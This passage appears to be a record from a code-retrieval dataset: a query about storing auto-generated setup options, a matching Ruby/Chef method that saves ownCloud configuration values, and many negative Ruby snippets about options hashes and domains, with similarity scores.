"def setup_dns(domain)\n# TODO should we just use the ID instead of the full href?\n owner=@deployment.href\n @dns = SharedDns.new(domain)\n raise \"Unable to reserve DNS\" unless @dns.reserve_dns(owner)\n @dns.set_dns_inputs(@deployment)\n end",
"def add\n domain = args.shift.downcase rescue nil\n fail(\"Usage: heroku domains:add DOMAIN\") if domain.to_s.strip.empty?\n heroku.add_domain(app, domain)\n display \"Added #{domain} as a custom domain name for #{app}\"\n end",
"def default_account_subdomain\n\t\t'www'\n\tend",
"def allowed_types\n [Host, Domain]\nend",
"def set_serverssl(opts)\n opts = check_params(opts,[:serverssls])\n super(opts)\n end",
"def manage_dns\n config_dns unless new_resource.dns.nil? || current_resource.dns == new_resource.dns\n config_dns_domain unless new_resource.dns_domain.nil? || current_resource.dns_domain == new_resource.dns_domain\n config_ddns unless new_resource.ddns.nil? || current_resource.ddns == new_resource.ddns\n end",
"def full_domain(options= {})\n # assume that if port is used in domain config, it should\n # be added to the end of the full domain for links to work\n # This concerns usually mostly testing and development\n default_host, default_port = APP_CONFIG.domain.split(':')\n port_string = options[:port] || default_port\n\n if domain.present? && use_domain? # custom domain\n dom = domain\n else # just a subdomain specified\n dom = \"#{self.ident}.#{default_host}\"\n dom += \":#{port_string}\" unless port_string.blank?\n end\n\n if options[:with_protocol]\n dom = \"#{(APP_CONFIG.always_use_ssl.to_s == \"true\" ? \"https://\" : \"http://\")}#{dom}\"\n end\n\n return dom\n\n end",
"def domain_name=(d)\n @domain_name = d\n end",
"def domain\n @options['domain']\n end",
"def set_nameserver(domain, ip)\n adminrun(\"netsh\", \"interface ip set dns \\\"VMware Network Adapter VMnet8\\\" static #{ip}\")\n end"
] |
[
"0.6924529",
"0.6471918",
"0.63489705",
"0.62475896",
"0.6213212",
"0.61195713",
"0.6104124",
"0.60031664",
"0.594991",
"0.59282786",
"0.585587",
"0.57841706",
"0.574766",
"0.5729557",
"0.57262725",
"0.56988525",
"0.5694284",
"0.5689086",
"0.5687022",
"0.5672427",
"0.56654143",
"0.56643456",
"0.5658773",
"0.56315655",
"0.56222254",
"0.5609691",
"0.5597966",
"0.55979556",
"0.5593037",
"0.5559342",
"0.55561477",
"0.55320764",
"0.5527024",
"0.55194366",
"0.55088097",
"0.54745656",
"0.54628336",
"0.5460602",
"0.5418742",
"0.5411547",
"0.53844213",
"0.5348766",
"0.5348766",
"0.5332839",
"0.5312713",
"0.5305237",
"0.53048974",
"0.52868056",
"0.52840525",
"0.52821314",
"0.5265338",
"0.5260152",
"0.5249033",
"0.52462906",
"0.52350456",
"0.523422",
"0.52333325",
"0.52320915",
"0.5230886",
"0.5197867",
"0.5197413",
"0.51639634",
"0.5151472",
"0.51463825",
"0.51411235",
"0.5132102",
"0.51211673",
"0.5120155",
"0.5115342",
"0.5104707",
"0.5104651",
"0.51012313",
"0.50984246",
"0.50971687",
"0.5086154",
"0.5080878",
"0.50804055",
"0.5074302",
"0.50736654",
"0.5070121",
"0.506676",
"0.5055846",
"0.5054052",
"0.5044429",
"0.50425535",
"0.50410825",
"0.50396687",
"0.50384164",
"0.5037244",
"0.5036937",
"0.5035526",
"0.5026102",
"0.5025266",
"0.50246775",
"0.500972",
"0.4998073",
"0.49973142",
"0.49968544",
"0.4992958"
] |
0.63033116
|
4
|
Store important options that where generated automatically by the setup.
|
def save_owncloud_node_configuration
return if Chef::Config[:solo]
%w(passwordsalt instanceid).each do |value|
node.set_unless['owncloud']['config'][value] = owncloud_config[value]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def option_set\n @options ||= {}\n end",
"def options\n @_options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n @options\n end",
"def options\n @options ||= {}\n end",
"def options\n @options ||= {}\n end",
"def gather_options\n @_options\n end",
"def options\n @options ||= Launchr::OrderedHash.new\n @options\n end",
"def options\n original_options = super\n user_defaults = @config\n user_defaults.merge(original_options)\n end",
"def initialize\n @options = {}\n @options[:extra] = true\n end",
"def options\n @options ||= Hash.new{ |h, k| h[k] = {} }\n end",
"def options \n self.merge!(@config.opts)\n end",
"def init_options( opts )\n options = default_options.merge( opts ) \n @environment = options[:environment]\n @perf_threshold = options[:perf_threshold]\n @moleable = options[:moleable]\n @app_name = options[:app_name]\n @user_key = options[:user_key]\n @store = options[:store]\n @excluded_paths = options[:excluded_paths]\n end",
"def options\n @config[:options] ||= {}\n \n @config[:options][:order_id] = @order.id\n @config[:options].merge!(@data[:options]) if @data[:options].present?\n \n @config[:options]\n end",
"def options\n @options = @options.select { |key, _val| CONFIGURATIONS.include?(key.to_sym) }\n end",
"def options() end",
"def options()\n @options ||= OpenStruct.new({\n :debug => false,\n :gist_api_url => nil,\n :gist_extension => defaults[\"extension\"],\n :private_gist => defaults[\"private\"],\n :browse_enabled => defaults[\"browse\"],\n :embed_enabled => nil,\n :description => nil,\n :setup_credentials => false\n })\n end",
"def options\n opts = {}\n self.configuration_options.each do |option|\n opts.merge!({option.name.to_sym => option.value})\n end\n opts\n end",
"def set_opts(options)\n @opt ||= options\n end",
"def options()\n {}\n end",
"def options\n self[:options] || {}\n end",
"def give_options\n clean_user_options\n @user_options.merge(default_options)\n end",
"def user_options(options)\n merged_options = options.dup\n merged_options[:cpu_cores] = get_option(:cores_per_socket)\n merged_options[:memory] = get_option(:vm_memory)\n merged_options.compact\n end",
"def options; @opts end",
"def options\n return @_options if defined?(@_options)\n\n original_options = super\n @_options = Thor::CoreExt::HashWithIndifferentAccess.new(\n configuration_options.merge(original_options)\n )\n end",
"def options\n @options.dup.freeze\n end",
"def define_options(opt)\n # override this; no additional options by default\n end",
"def options\n @options ||= self.class.options\n end",
"def user_options; end",
"def options\n opts = super\n opts[:overwrite_original] = true if @overwrite_original\n opts\n end",
"def options\n opts = super\n opts[:overwrite_original] = true if @overwrite_original\n opts\n end",
"def add_options; end",
"def options\n\t\t\tVALID_OPTIONS_KEYS.inject({}) do |option,key|\n\t\t\t\toption.merge!(key => send(key))\n\t\t\tend\n\t\tend",
"def options\n self[:options] || {}\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def options\n {}\n end",
"def options\n {}\n end",
"def initialize\n @@options = {}\n end",
"def options\n Hash[VALID_OPTIONS.map { |key| [key, send(key)] }]\n end",
"def get_full_options\n options_hash = self.get_runtime_options\n [:task_list, :version, :_exponential_retry, :prefix_name, :return_on_start, :manual_completion, :data_converter].each do |attribute|\n options_hash.merge!(attribute => self.send(attribute)) if self.send(attribute)\n end\n options_hash\n end",
"def options\n Hash[ *Configuration::VALID_CONFIG_KEYS.map { |key| [key, send(key)] }.flatten ]\n end",
"def options\n Hash[ * VALID_CONFIG_KEYS.map { |key| [key, send(key)] }.flatten ]\n end",
"def options\n Hash[ * VALID_CONFIG_KEYS.map { |key| [key, send(key)] }.flatten ]\n end",
"def options\n self.class.instance_variable_get(:@__options) || []\n end",
"def options\n {}.tap{ |options| VALID_OPTIONS_KEYS.each{|k| options[k] = send(k) } }\n end",
"def options\n @options || {}\n end",
"def options\n Hash[\n *Configuration::VALID_CONFIG_KEYS.map { |key| [key, send(key)] }.flatten\n ]\n end",
"def options\n Hash[\n DeskApi::Configuration.keys.map do |key|\n [key, instance_variable_get(:\"@#{key}\")]\n end\n ]\n end",
"def options=(opts)\n @@options = opts\n end",
"def common_options(opts); end",
"def options\n original_options = super\n defaults = Thor::CoreExt::HashWithIndifferentAccess.new(\n {\n width: 72,\n count: 200,\n },\n )\n\n config_path = File.expand_path(ENV.fetch('AUGURY_CFG_PATH', '~/.augury.yml'))\n if File.file?(config_path)\n config_options = Thor::CoreExt::HashWithIndifferentAccess.new(YAML.load_file(config_path) || {})\n defaults = defaults.merge(config_options)\n end\n\n # Enforce implied options\n defaults[:links] = true if original_options[:remove_links] || defaults[:remove_links]\n\n Thor::CoreExt::HashWithIndifferentAccess.new(defaults.merge(original_options))\n end",
"def options=(options)\r\n @options.merge!(options)\r\n end",
"def options\n opts = {}\n VALID_CONFIG_KEYS.each_key do |k|\n opts.merge!(k => send(k))\n end\n opts\n end",
"def default_options=(opts); end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def set_options(opts)\n common_options(opts)\n end",
"def options\n OPTIONS_KEYS.inject({}) do |options, key|\n options.merge!(key => send(key))\n end\n end",
"def options\n\t\t@options = {\n\t\t\t:ip => ip,\n\t\t\t:email => self.email,\n\t\t\t:description => \"Author: #{self.sku.items.first.owner.id} #{self.sku.items.first.owner.pen_name} SKU: #{self.sku.id} #{self.sku.title}\",\n\t\t\t:billing_address => {\n\t\t\t\t:name => self.billing_address.name,\n\t\t\t\t:address1 => self.billing_address.street,\n\t\t\t\t:address2 => self.billing_address.street2,\n\t\t\t\t:city => self.billing_address.city,\n\t\t\t\t:state => self.billing_address.state,\n\t\t\t\t:zip => self.billing_address.zip,\n\t\t\t\t:country => self.billing_address.country,\n\t\t\t\t:phone => self.billing_address.phone\n\t\t\t}\n\t\t}\n\tend",
"def set_default_options!\n @options ||= OpenStruct.new\n @options.skip_uncovered = false\n @options.mute = false\n @options.reports = []\n end",
"def options\n VALID_OPTIONS_KEYS.reduce({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def initialize_options\n @options = @spec.options.inject({}) do |options, (name, params)|\n options[name] = Option.new\n options[name].enabled = false\n options[name].description = params[\"description\"] || params\n options[name].files = params[\"files\"] || {}\n options\n end.to_struct if @spec.options\n end",
"def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, public_send(key)] }]\n end",
"def options\n defaults.merge!(@options)\n end",
"def options\n defaults.merge!(@options)\n end",
"def process_options\n\t\t@options[:verbose] = false if @options[:quiet]\n\t\t@options[:getword] = false if @options[:random]\n\t\t@options[:add] = false if @options[:random] or @options[:getword]\n\tend",
"def options\n abstract!\n end",
"def default_options; {} end",
"def opts\n load_defaults unless @opts\n @opts\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS_KEYS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n VALID_OPTIONS.inject({}) do |option, key|\n option.merge!(key => send(key))\n end\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end",
"def options; end"
] |
[
"0.7412177",
"0.73908347",
"0.73651415",
"0.73651415",
"0.73651415",
"0.7287272",
"0.7287272",
"0.7287272",
"0.7284486",
"0.7274737",
"0.7274737",
"0.7233832",
"0.71399313",
"0.7066131",
"0.7060623",
"0.70542496",
"0.70331264",
"0.6980039",
"0.69444305",
"0.6943425",
"0.69228655",
"0.69060975",
"0.6877933",
"0.68688995",
"0.68577945",
"0.68422276",
"0.6827286",
"0.67967105",
"0.6795863",
"0.67892313",
"0.67827684",
"0.6780319",
"0.6771231",
"0.6762062",
"0.67537206",
"0.67537206",
"0.67511725",
"0.6750923",
"0.67475843",
"0.6742135",
"0.6742135",
"0.6739328",
"0.6739328",
"0.6718822",
"0.6718628",
"0.670708",
"0.67033565",
"0.66991496",
"0.66991496",
"0.66844267",
"0.66827667",
"0.6679453",
"0.66753674",
"0.6672523",
"0.66725045",
"0.6659464",
"0.665545",
"0.66539854",
"0.66481376",
"0.66470283",
"0.6645522",
"0.6629922",
"0.6629152",
"0.66241246",
"0.6619573",
"0.66153675",
"0.6607401",
"0.6601181",
"0.65993613",
"0.65993613",
"0.6598982",
"0.659462",
"0.6593967",
"0.6583296",
"0.6575768",
"0.6575768",
"0.6575768",
"0.6575768",
"0.6575768",
"0.6575768",
"0.657347",
"0.6573364",
"0.6572866",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705",
"0.65521705"
] |
0.0
|
-1
|
buscar un elemento del arreglo
|
def buscar(elem)
@v.each_with_index do |elemento,index|
if elemento == elem
puts "el elemento buscado es[#{index}]: #{elemento}"
return index
elsif(elemento != elem) && (index+1 ==@v.length)
puts "el elemento no existe"
return -1
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filtrarObstaculos(cad)\n aux=[]\n cad.each do |elemento|\n if (elemento[0] == \"O\")\n aux.push(stringObstaculos(elemento))\n end\n end\n return aux #[[\"O\",3,2],......]\nend",
"def elemento\n \n @elemento\n end",
"def index elemento\n end",
"def set_barrio_buscar\n campo = params[:campo]\n valor = params[:valor]\n if campo == 'id'\n @barrio = Barrio.find(valor)\n elsif campo == 'zona'\n @barrio = Barrio.where(zona_id: valor)\n else\n @barrio = Barrio.where(\"nombre LIKE '%#{valor}%'\")\n end\n @barrio = [*@barrio]\n end",
"def elements; end",
"def elements; end",
"def elements; end",
"def busca_receita_por_id(id_busca)\n receita_encontrada = nil\n\n $receitas.each do |receita|\n if(receita.id == id_busca)\n receita_encontrada = receita \n end\n end \n\n receita_encontrada\nend",
"def simbolizza\n self.map do |element|\n if element.is_a? Hash or element.is_a? Array\n element.simbolizza\n else\n element\n end\n end\n end",
"def ar_transform_search_result elem\n ar_label elem\n rescue\n elem.label\n end",
"def filtrarPuentes(cad)\n aux=[]\n cad.each do |elemento|\n if (elemento[0] == \"P\")\n aux.push(convertPuente(elemento))\n end\n end\n return aux # [P,[3,1],[3,5]]\nend",
"def extraer_elemento \n \n aux = @elemento\n @elemento = @elemento.next\n aux.value\n end",
"def busca_receita_por_nome(nome_busca)\n receita_encontrada = nil\n\n $receitas.each do |receita|\n if(receita.nome.include? nome_busca)\n receita_encontrada = receita \n end\n end \n\n receita_encontrada\nend",
"def buscar_una_venta_en_cola(venta,codigo)\n elemento = venta[:tope]\n conta=1\n while conta<=venta[:size]\n if elemento[:codigo]==codigo\n conta=venta[:size]+1\n return elemento\n break\n elsif elemento[:siguiente]==nil && elemento[:codigo]!=codigo\n return 'La venta no existe en el sistema'\n break\n else\n nuevo_elemento = elemento[:siguiente]\n elemento = nuevo_elemento\n conta+=1\n end\n end\nend",
"def listamarcarubro\n respond_to do |format|\n # format.xml { render :xml => @marcarubro }\n @marcarubro = Listaprecio.agrupamiento\n marcarubro.each do |mc|\n @articulospormarcayrubro = Listaprecio.find.articulosmarcarubro( mc.marca_id, mc.rubro_id )\n end\n end\n @tablalistaprecio = @marcarubro.map { | marcarubro.marca_id, marcarubro.rubro_id | Listaprecio.find.articulosmacarubro( m , r) }\n end",
"def getArbol\r\n return @pila_a.last #puedes hacer getArbol sucesivos sin modificar nada en lo absoluto.\r\n end",
"def set_empresa_buscar\n campo = params[:campo]\n valor = params[:valor]\n if @campo == 'id'\n @empresa = Empresa.find(valor)\n else\n @empresa = Empresa.where(\"#{campo} LIKE '%#{valor}%'\")\n end\n @empresa = [*@empresa]\n end",
"def BuscarTodosArbolJsonSinHref(menu)\n @opcionMenus = OpcionMenu.new\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id, 0).order(orden: :asc)\n totaldeRegistros = @opcionMenus.length;\n @tira='[ '\n if totaldeRegistros>0 \n j=0\n @opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n end\n \n self.ObtenerHijosSinHref(menu,arbol.id)\n j=j+1\n if j<totaldeRegistros\n @tira = @tira+ \" }, \"\n else\n @tira = @tira+\" } ] \"\n end\n end\n else\n @tira= @tira+\"{ { text: 'No hay datos', id: '\" + totaldeRegistros.to_s + \"', href: '', leaf: true } } ]\"\n end\n return @tira\n end",
"def elements(); @records.get(Elements); end",
"def <<(elemento)\n end",
"def element; end",
"def element; end",
"def element; end",
"def element; end",
"def transformar_a_arreglo(arreglo)\n arreglo_de_notas = []\n arreglo_de_notas = arreglo.pop(((arreglo.length)-1))\n arreglo_de_notas\nend",
"def simbolizza!\n self.map! do |element|\n if element.is_a? Hash or element.is_a? Array\n element.simbolizza!\n else\n element\n end\n end\n self\n end",
"def buscar(d, h)\n # inicializar conteo y tipo de secuencia \n count = 0\n seq = self.get_sequence\n seq.agregar(d)\n memo = []\n\n while !seq.vacio \n # obtiene ele siguiente elemento y aumenta el contador. \n # Si es h, retorna el conteo. De lo contrario, sigue \n # adelante\n next_elem = seq.remover \n count += 1\n memo.push(next_elem)\n\n if next_elem == h\n return count \n end\n\n list = @adjacency_list[next_elem]\n\n # si no esta en el grafo, es sumidero\n if !list \n next\n end \n\n # Para cada elemento asociado a este...\n for elem in list \n if memo.include?(elem)\n next\n end\n\n seq.agregar(elem)\n end \n end\n return -1\n end",
"def BuscarTodosArbolJson(menu)\n @opcionMenus = OpcionMenu.new\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id, 0).order(orden: :asc)\n totaldeRegistros = @opcionMenus.length;\n @tira='[ '\n if totaldeRegistros>0 \n \t j=0\n \t\t@opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: '<i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span id=\"+ arbol.id.to_s+\"> \" + arbol.nombre + \" </span> ', cls: 'active waves-effect ', expanded: false, id: '\" + arbol.id.to_s + \"', href: '\" + arbol.url.to_s + \"', \"\n end\n \t\t \n \t\tself.ObtenerHijos(menu,arbol.id)\n \t\tj=j+1\n if j<totaldeRegistros\n @tira = @tira+ \" }, \"\n else\n @tira = @tira+\" } ] \"\n \t\tend\n \tend\n \telse\n \t\t@tira= @tira+\"{ { text: 'No hay datos', id: '\" + totaldeRegistros.to_s + \"', href: '', leaf: true } } ]\"\n \tend\n \treturn @tira\n end",
"def animals #should write it first, call it and see the puts if you get lost\n \t Animal.all.select do |animal| #\n animal.zoo == self # i want to get to the zoo part of the element\n end\n end",
"def buscar(elem)\n @vector.each_with_index do |elemento, index|\n if elemento == elem\n puts \"El elemento buscado es:[#{index}]=#{elemento}\"\n return index\n # verificamos que estamos al final del arreglo y no encontramos el elemento \n elsif (elemento != elem) && (index+1 == @vector.length)\n puts \"El elemento que buscas no existe:#{elem}\"\n return -1\n end \n end \n \n end",
"def listado\n #@lista = Asignacion.listado_array\n @lista = Campo.find(:all, :include => [:area => [:contrato => [:empresa]]], :conditions => {:codigo => \"\"}) #\n end",
"def obtener\narray = Tarea.all\n \n @@tareas = Array.new\n array.each{|x| @@tareas.push(x) if /#{@@usuario}/.match(x[\"title\"])}\n\n @@tareas.each do |x|\nstring = x[\"title\"].split\n string.pop\nx[\"title\"] = string.join(\" \")\n\n\n end\n #esto es para que no quede una tarea vacia al principio, la cual es la correspondiente login\n@@tareas.shift\n @@tareas\n\nend",
"def saludoFor (valor, arreglo)\n cadena = \"-Hola For:\" + valor\n for elem in arreglo\n cadena = cadena + elem.to_s\n end\n return cadena\nend",
"def get_element_by_xpath(xpath)\n\t\t# restituisco l'elemento corrispondente - nota: a priori un xpath non è univoco, per questo\n\t\t# in realtà blocco[] è un array di risultati\n\t\t@doc.xpath(xpath)\n\tend",
"def show\n @paciente = Paciente.find(params[:id])\n @arreglo = Array.new\n\n @paciente.appointments.each do |cita|\n cita.odontologo.specialities.each do |especialidad|\n if !@arreglo.include?(especialidad.especialidad)\n @arreglo.push especialidad.especialidad\n end\n \n end \n end\n\n @arreglo.uniq\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def busca_receitas_por_nome(nome_busca)\n nome_busca = nome_busca.upcase\n receitas_encontradas = []\n\n receitas_encontradas = $receitas.select do |receita|\n receita.nome.upcase.include? nome_busca \n end\n\n receitas_encontradas\nend",
"def rassoc obj\n @array.each do |elem|\n if elem.respond_to? :at and elem.at(1) == obj\n return elem\n end\n end\n\n nil\n end",
"def saludoEach (valor, arreglo)\n cadena = \"-Hola Each:\" + valor\n arreglo.each do |elem|\n cadena = cadena + elem.to_s\n end\n return cadena\nend",
"def cargar_datos(formulario, registro, indice)\n formulario.each do |llave, valor|\n next if llave == indice\n\n registro.send(\"#{llave}=\", valor)\n end\nend",
"def get_items\r\n @arr.to_a\r\n end",
"def add_as_element(html,id,arr)\n html.elements.each(x_path(id)) do |tag|\n arr.push( tag[0].to_s )\n end\n end",
"def elements\n # execute query\n ordered_objects.compact.uniq\n end",
"def object\n @elements.map { |element| element.object }\n end",
"def buscar(palabra)\n return if palabra.nil?\n\n @trie.buscar(palabra)\n end",
"def ahorrodinero(año)\n\n i = 0\n final = Array.new \n final1 = Array.new \n final2 = Array.new \n \n\n datos = Valore.where(:año => año)\n \n datos.each do |datos|\n \n \n final[i] = datos.read_attribute(\"es\")\n final1[i] = datos.read_attribute(\"tarifa\")\n final2[i] = final1[i]*final[i]\n \n i = i +1\n \n \n end\n \n return final2\n\n\n\n end",
"def asocia_cat_riesgo(especie)\n cat_riesgo = []\n \n especie.catalogos.each do |cat|\n if [2,4].include?(cat.nivel1) && !(Catalogo::EVALUACION + Catalogo::AMBIENTE_EQUIV_MARINO + [\"Riesgo bajo (LR): Dependiente de conservación (cd)\"]).include?(cat.descripcion)\n cat_riesgo << cat.descripcion.estandariza\n end\n end\n\n cat_riesgo.uniq\n end",
"def initialize ()\n\t\t# inicializa la variable baraja como un array vacio\n\t\t@baraja = []\n\t\t# recorre el array con todos los palos\n\t\tConstantes::PALOS.each do |p|\n\t\t\t# Recorre el array con todos los valores\n\t\t\tConstantes::VALORES.each do |v|\n\t\t\t\t# Para cada combinacion de palo/valor crea un objeto Carta y lo guarda en la baraja\n\t\t\t\tc = Carta.new v,p\n\t\t\t\t@baraja << (Carta.new v,p)\n\n\t\t\tend\n\t\tend\n\tend",
"def load_Obj\n @grupos = Grupo.all\n @nivels = Nivel.select(:id, :nombre).where(\"nombre != ?\", \"CAPITULO\" )\n# @papa = Catalogo.select(:id, :codigo, :nombre).where(\"estransaccional = ? AND activo = ? \", false, true) \n @ajuste = Catalogo.select(:id, :codigo, :nombre).where(\"estransaccional = ? AND activo = ?\", true, true )\n @laux = Libroauxiliar.select(:id, :descripcion).where(\"activo = ?\", true)\n end",
"def []=(elemento)\n end",
"def busca\n\t\t@anuncios = Anuncio.where(\"descricao LIKE :filtro OR titulo LIKE :filtro OR categoria LIKE :filtro\", {:filtro => \"%#{params[:filtro]}%\"})\n\tend",
"def listar_arreglo(arreglo)\n cadena = '| '\n # puts 'el indice: #{index} y el valor: #{value}'\n arreglo.each { |value| cadena += \" #{value} | \" }\n puts cadena\nend",
"def caar; first.first end",
"def eliminar_ult_elem_arr(arreglo)\n arreglo.pop\n arreglo\nend",
"def iniciar\n ARREGLO_ESTRUCTURAS.each do |una|\n#comprueba si se trata de una cadena\n if una.estructura.first.is_a? String\n\n if @token_list.first.token_tok.to_s == una.estructura.first\n analizador(una.estructura)\n end\n else\n if @token_list.first.token_tok.to_s == una.estructura.first[0]\n analizador(una.estructura)\n end\n end\n end\n #error_messager(3)\n end",
"def disponibles\n total = []\n heros.each do |h|\n next unless h.tesoro\n next unless h.tesoro[item + 's']\n h.tesoro[item + 's'].each do |e|\n (total << h.id) if e == id\n end\n end\n total\n end",
"def cargar_comandos_jugadas_repetir_otro_sorteo(ticket, sorteo_origen , sorteo_destino)\n #Buscar todos los comandos de todas las jugadaslots de ese ticket con ese sorteo de origen.\n @array_jugadas_de_ese_sorteo_en_ese_ticket = Jugadalot.where(:ticket_id => ticket, :sorteot => Sorteot.where(:sigla => sorteo_origen.to_s).first.id)\n \n @comando_jugadas =[] # Defino el array que trenda todos los comando de las jugadas de este sorteo de ese ticket\n\n @array_jugadas_de_ese_sorteo_en_ese_ticket.each do |jugadalot|\n @comando_jugadas << jugadalot.comandojugada\n end\n \n #Hacer un solo string con todos los comando_jugadas.join(\"*\") unidos por caracter especial \"*\" ok. ted.\n @comando_jugadas = @comando_jugadas.join(\"*\")\n\n #Hacer un string.replace pattern .01 a .02 (sorteo_origen, sorteo_destino)\n sorteo_origen = \".\" + sorteo_origen\n sorteo_destino = \".\" + sorteo_destino\n\n @comando_jugadas.gsub(sorteo_origen, sorteo_destino)\n #dejar que siga evaluando hacia abajo... ok ted. Bloque de codigo guardar jugadas.\n \n end",
"def on(obj_or_arr)\n return obj_or_arr if @node.children.empty?\n\n if obj_or_arr.kind_of?(Array)\n obj_or_arr.map do |obj|\n self.class.new(@node).on(obj)\n end\n else\n explode(@node.children, obj_or_arr).inject({}) do |hsh, child|\n if value = obj_or_arr[child.name.to_s]\n hsh[child.name.to_s] = Filter.new(child).on( value )\n elsif value = obj_or_arr[child.name.to_sym]\n hsh[child.name.to_sym] = Filter.new(child).on( value )\n end\n hsh\n end\n end\n end",
"def get_array(element, path='.')\n return unless element\n \n result = element/path\n if (result.is_a? Nokogiri::XML::NodeSet) || (result.is_a? Array)\n result.collect { |item| self.get(item) }\n else\n [self.get(result)]\n end\n end",
"def index\n #@egreso_internos = EgresoInterno.all\n #@palabra = ''\n #@palabra = params[:palabra]\n #@egreso_internos = EgresoInterno.where(\"interno_id LIKE ?\", \"%#{@palabra}%\")\n @egreso_internos = buscar(params[:palabra])\n end",
"def kuri_mapojn!(lingvo, kunteksto)\n return if @@blokoj.nil?\n Dsl.new(kunteksto, nil, lingvo).el 'al_fari' do\n @@blokoj.each do |bloko|\n instance_eval(&bloko)\n end\n end\n purigi!(kunteksto)\n end",
"def datos_descarga(taxa)\n return unless taxa.any?\n self.taxones = []\n\n taxa.each do |taxon|\n self.taxon = taxon\n asigna_datos\n self.taxones << taxon\n end\n end",
"def registro(isbn, titulo, autor, precio, unidades)\n\t\tnuevo = Libro.new(isbn,titulo,autor,precio,unidades)\n\t\t@libros.push(nuevo)\n\t\tVistaLibreria.muestra_mensaje(\"Se ha agregado el libro: \\n#{nuevo.to_s}\")\n\tend",
"def db_search busca\n lista = [] \n achado = $db.query \"SELECT cod, prod, prec FROM produtos WHERE prod LIKE?\", '%' + busca + '%'\n achado.map { |vals| lista.push vals }\n return lista\nend",
"def obtener_entrega(entrega, curso)\n curso = obtener_entregas_curso(curso)\n index = 0\n entregas_curso = curso.entregas\n tamanio_vector = entregas_curso.size\n while (index < tamanio_vector)\n if (entregas_curso[index].id == entrega.id)\n entrega = entregas_curso[index]\n index = tamanio_vector\n end\n index += 1\n end\n entrega\n end",
"def get_first_contained_element phemaObj\n @id_element_map.find { |key, val| val[\"id\"] == phemaObj[\"containedElements\"][0][\"id\"] } if phemaObj[\"containedElements\"] && phemaObj[\"containedElements\"].length > 0\n end",
"def each\n\t\t@nombre\n\tend",
"def search_and_convert(path)\n elements = self./(path)\n return unless elements\n elements = elements.map{|element| Element.new(element)}\n return elements.first if elements.size == 1\n elements\n end",
"def titulares_serial\n Representante.find(self.titular_ids_serial).map(&:nombre)\n end",
"def result\n if value.length == 1\n calling_mapper.for(value.first).result\n else\n value.map do |element|\n calling_mapper.for(element).result\n end\n end\n end",
"def aumentar(array, aumento, desde, hasta)\n arr_filtro = array[desde..hasta] #rango de los datos filtrados\n arr_filtro.map!{|venta_mensual| venta_mensual * aumento}.sum #valor total por el porcentaje de aumento\nend",
"def element=(_arg0); end",
"def initialize(nome, comentario)\n @nome = nome\n @comentario = comentario\n @estrelando = []\n end",
